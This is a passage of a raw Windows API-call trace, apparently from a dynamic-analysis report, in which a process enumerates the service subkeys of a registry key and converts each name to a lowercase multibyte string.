RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.509] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.509] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0249.509] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.509] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.510] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Browser") returned 0x0 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.510] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.510] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.510] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.510] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.510] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.510] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.511] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.511] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.511] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.511] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.511] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.511] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0249.511] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.512] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.512] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x1de4408, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.512] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.512] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0249.512] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.512] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1de4450, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0249.512] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x1dd29e0, cchName=0x104 | out: lpName="circlass") returned 0x0 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="circlass", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="circlass", lpUsedDefaultChar=0x0) returned 8 [0249.513] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clfs", cchWideChar=4, lpMultiByteStr=0x1de4450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clfs", lpUsedDefaultChar=0x0) returned 4 [0249.513] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x1de4408, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0249.513] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x1de4450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0249.513] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x1de4408, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0249.513] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x1dd29e0, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x1de4450, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0249.513] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.513] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmbatt", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmbatt", lpUsedDefaultChar=0x0) returned 6 [0249.513] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x1dd29e0, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cmdide", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cmdide", lpUsedDefaultChar=0x0) returned 6 [0249.514] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CNG") returned 0x0 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cng", cchWideChar=3, lpMultiByteStr=0x1de4408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cng", lpUsedDefaultChar=0x0) returned 3 [0249.514] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compbatt", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compbatt", lpUsedDefaultChar=0x0) returned 8 [0249.514] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="compositebus", cchWideChar=12, lpMultiByteStr=0x1de4408, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="compositebus", lpUsedDefaultChar=0x0) returned 12 [0249.514] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x1dd29e0, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x1de4450, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0249.514] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crcdisk", cchWideChar=7, lpMultiByteStr=0x1de4408, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crcdisk", lpUsedDefaultChar=0x0) returned 7 [0249.514] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x1dd29e0, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0249.514] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="crypt32", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="crypt32", lpUsedDefaultChar=0x0) returned 7 [0249.515] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0249.515] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 